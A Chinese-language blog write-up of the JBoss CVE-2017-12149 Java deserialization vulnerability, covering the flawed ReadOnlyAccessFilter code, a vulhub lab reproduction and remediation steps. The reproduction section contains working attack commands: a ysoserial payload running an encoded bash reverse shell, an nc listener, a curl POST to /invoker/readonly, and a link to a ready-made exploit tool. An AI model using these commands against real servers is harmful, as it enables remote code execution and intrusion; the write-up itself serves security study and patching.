JBoss 5.x和6.x 反序列化漏洞(CVE-2017-12149)

0x01 漏洞简介

该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了攻击者可以在服务器上执行任意代码。

0x02 漏洞版本

漏洞影响5.x和6.x版本的JBOSSAS。

0x03 漏洞原理

JBOSS Application Server是一个基于J2EE的开放源代码的应用服务器。 JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用。Java序列化:把Java对象转换为字节序列的过程。Java反序列化:指把字节序列恢复为Java对象的过程。
Java序列化与反序列化作用:便于保存数据,或者进行数据传输。

序列化
FileOutputStream fos = new FileOutputStream(file);
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(st);

反序列化
FileInputStream fis = new FileInputStream(file);
ObjectInputStream ois = new ObjectInputStream(fis);
Student st1 = (Student) ois.readObject();

漏洞出现在 Jboss 的 HttpInvoker组件中的 ReadOnlyAccessFilter 过滤器中,源码在jboss\server\all\deploy\httpha-invoker.sar\invoker.war\WEB-INF\classes\org\jboss\invocation\http\servlet目录下的ReadOnlyAccessFilter.class文件中,其中doFilter函数代码如下:

public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
    throws IOException, ServletException
  {
    HttpServletRequest httpRequest = (HttpServletRequest)request;
    Principal user = httpRequest.getUserPrincipal();
    if ((user == null) && (this.readOnlyContext != null))
    {
      ServletInputStream sis = request.getInputStream();
      ObjectInputStream ois = new ObjectInputStream(sis);
      MarshalledInvocation mi = null;
      try
      {
        mi = (MarshalledInvocation)ois.readObject();  //漏洞点
      }
      catch (ClassNotFoundException e)
      {
        throw new ServletException("Failed to read MarshalledInvocation", e);
      }
      request.setAttribute("MarshalledInvocation", mi);

  mi.setMethodMap(this.namingMethodMap);
  Method m = mi.getMethod();
  if (m != null) {
    validateAccess(m, mi);
  }
}
chain.doFilter(request, response);

  }

直接从http中获取数据,在没有进行检查或者过滤的情况下,尝试调用readobject()方法对数据流进行反序列操作,因此产生了Java反序列化漏洞。

0x04 漏洞复现

1.进入漏洞页面http://your-ip/invoker/readonly。http响应码500(内部服务器错误——服务器端的CGI、ASP、JSP等程序发生错误),分析猜想,此处服务器将用户提交的POST内容进行了Java反序列化。
在这里插入图片描述

2.我们使用bash来反弹shell,但由于Runtime.getRuntime().exec()中不能使用管道符等bash需要的方法,我们需要用进行一次编码。
工具地址:http://www.jackson-t.ca/runtime-exec-payloads.html
在这里插入图片描述
3.使用ysoserial工具来生成序列化数据
https://github.com/frohoff/ysoserial
用法:
ysoserial的用法:java -jar ysoserial.jar [payload] ‘[command]’
[payload] : 利用库,根据服务器端程序版本不同而不同,若如报错,可尝试跟换其他利用库。
[command] : 待执行的命令。

这里我们使用的vulhub的漏洞环境,该环境java版本较新,所以选择的利用库是CommonsCollections5:

生成序列化数据(警告信息可忽略):

root@kali:~# java  -jar  ysoserial.jar  CommonsCollections1 "bash -c {echo,xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}|{base64,-d}|{bash,-i}" > exp.ser

在这里插入图片描述

此时在当前目录下生成了序列化数据exp.ser。

4.打开攻击机的nc,监听210端口。

root@VM-0-7-ubuntu:~# nc -lvp 210

5.此时我们可以使用curl命令,将我们的序列化数据以POST的形式发送。

root@kali:~# curl http://xxxx:8080/invoker/readonly --data-binary @exp.ser

6.nc成功接收到反弹的shell。
在这里插入图片描述

-----------分割线---------
方法二:工具验证(简单粗暴,不优雅。)
1.工具下载:
https://github.com/yunxu1/jboss-_CVE-2017-12149
2.使用:
在这里插入图片描述

0x05 漏洞修复

1.升级新版本。
2.删除http-invoker.sar 组件。
3.添加如下代码至 http-invoker.sar 下 web.xml的security-constraint 标签中:/*用于对 http invoker 组件进行访问控制。

0x06 参考

https://www.cnblogs.com/ikari/p/8989821.html
https://github.com/vulhub/vulhub/tree/master/jboss/CVE-2017-12149
https://github.com/frohoff/ysoserial
https://github.com/yunxu1/jboss-_CVE-2017-12149

发布了48 篇原创文章 · 获赞 22 · 访问量 2万+

猜你喜欢

转载自blog.csdn.net/lhh134/article/details/88078720
今日推荐